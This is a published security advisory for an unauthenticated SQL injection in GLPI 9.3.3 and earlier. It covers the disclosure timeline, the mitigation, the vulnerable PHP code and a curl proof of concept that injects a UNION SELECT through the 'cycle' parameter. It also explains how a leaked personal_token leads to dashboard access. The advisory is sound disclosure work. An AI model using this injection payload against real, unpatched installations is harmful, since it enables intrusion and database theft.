

# ■ Pre-authenticated SQL injection in GLPI <= 9.3.3

## ■ Security advisory

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# Vulnerability description

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## Presentation of GLPI

"GLPI ITSM is a software for business powered by open source technologies. Take control over your IT infrastructure: assets inventory, tickets, MDM."<sup>1</sup>

## The issue

Synacktiv discovered that GLPI exposes a script (`/scripts/unlock_tasks.php`) that not correctly sanitize user-controlled data before using it in SQL queries. Thus, an attacker could abuse the affected feature to alter the semantic original SQL query and retrieve database records. This script is reachable without authentication.

While user passwords are hashed with `bcrypt` ( $2^{10}$  expansion rounds) and make any bruteforce unrealistic, the *Remember Me* feature can be abused to reach the dashboard after leaking the field `personal_token` associated to a user.

## Mitigation

Using prepared statements will be enough to prevent the SQL injection. In addition, it is advised to add the following snippet on top of all pages of the folder `scripts/` to prevent direct access:

```
if (php_sapi_name() !== 'cli') {
    die();
}
```

It is strongly advised to update to GLPI 9.4, since this script is not present anymore in this version.

## Affected versions

The last stable version at the time of this advisory, 9.3.3, is known to be affected. It seems that commit `b550fc3c787e55a7a747ff31f46157656a7c8006`<sup>2</sup> first introduced the vulnerability.

The script is not present anymore in release candidates of 9.4.

## Timeline

Date	Action
2019-02-06	Advisory sent to <i>GLPI Project</i> ( <code>glpi-security@ow2.org</code> )
2019-02-07	Vulnerability fixed in branch <code>9.3/bugfixes</code> in <code>684d4fc423652ec7dde21cac4d41c2df53f56b3c</code> <sup>3</sup>
2019-04-11	Fix is part of the release 9.3.4
2019-04-29	Publication of this advisory

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1 <https://glpi-project.org/>

2 <https://github.com/glpi-project/glpi/commit/b550fc3c787e55a7a747ff31f46157656a7c8006>

3 <https://github.com/glpi-project/glpi/commit/684d4fc423652ec7dde21cac4d41c2df53f56b3c>

## Technical description and proof-of-concept

Accessing the script `/scripts/unlock_tasks.php` does not require any kind of authentication. While a `.htaccess` file prevents any direct access, this script is ignored by web servers other than *Apache* (*nginx*, *Caddy*, etc).

However, this script accepts a GET parameter named `cycle` that will be directly concatenated in a SQL query:

```
if (isset($_GET['cycle'])) {
    $cycle = $_GET['cycle'];
} else {
    $cycle = 25;
}
[...]
$crontask = new Crontask();
$query = "SELECT `id`, `name`
        FROM `glpi_crontasks`
        WHERE `state` = '".Crontask::STATE_RUNNING."'
        AND unix_timestamp(`lastrun`) + $cycle * `frequency` <
        unix_timestamp(now)";
```

This allows change the original SQL query's behaviour and extract records from the database.

It should be noted that the exploitation is eased by the presence of an error message using results of this query; the retrieved records will be shown directly in page's body:

```
if (isset($_GET['only_tasks'])) {
    $only_tasks = explode(',', $_GET['only_tasks']);
} else {
    $only_tasks = [];
}
[...]
foreach ($DB->request($query) as $task) {
    if (!empty($only_tasks) && !in_array($task['name'], $only_tasks)) {
        echo $task['name']." is still running but not in the whitelist\n";
        continue;
    }
}
```

While `addslashes()` is applied on `$_GET` / `$_POST` / `$_REQUEST` and prevent the exploitation on other endpoints, quotes are not required to perform the injection here.

As a proof, the version of the database software in use can be retrieved with the following request:

```
$ curl 'http://glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,
(@@version)--%20&only_tasks=1'
Date : 2019-02-04 17:47 Start unlock script 10.1.37-MariaDB-0+deb9u1 is still running but
not in the whitelist Number of unlocked tasks : 0
```

## Impact

A successful exploitation could allow an attacker to extract records from the database and, depending on the DBMS' permission scheme, access other databases or the local filesystem. Ultimately, by abusing the *Remember Me* feature, it allows accessing the dashboard with the privileges of the user `glpi`.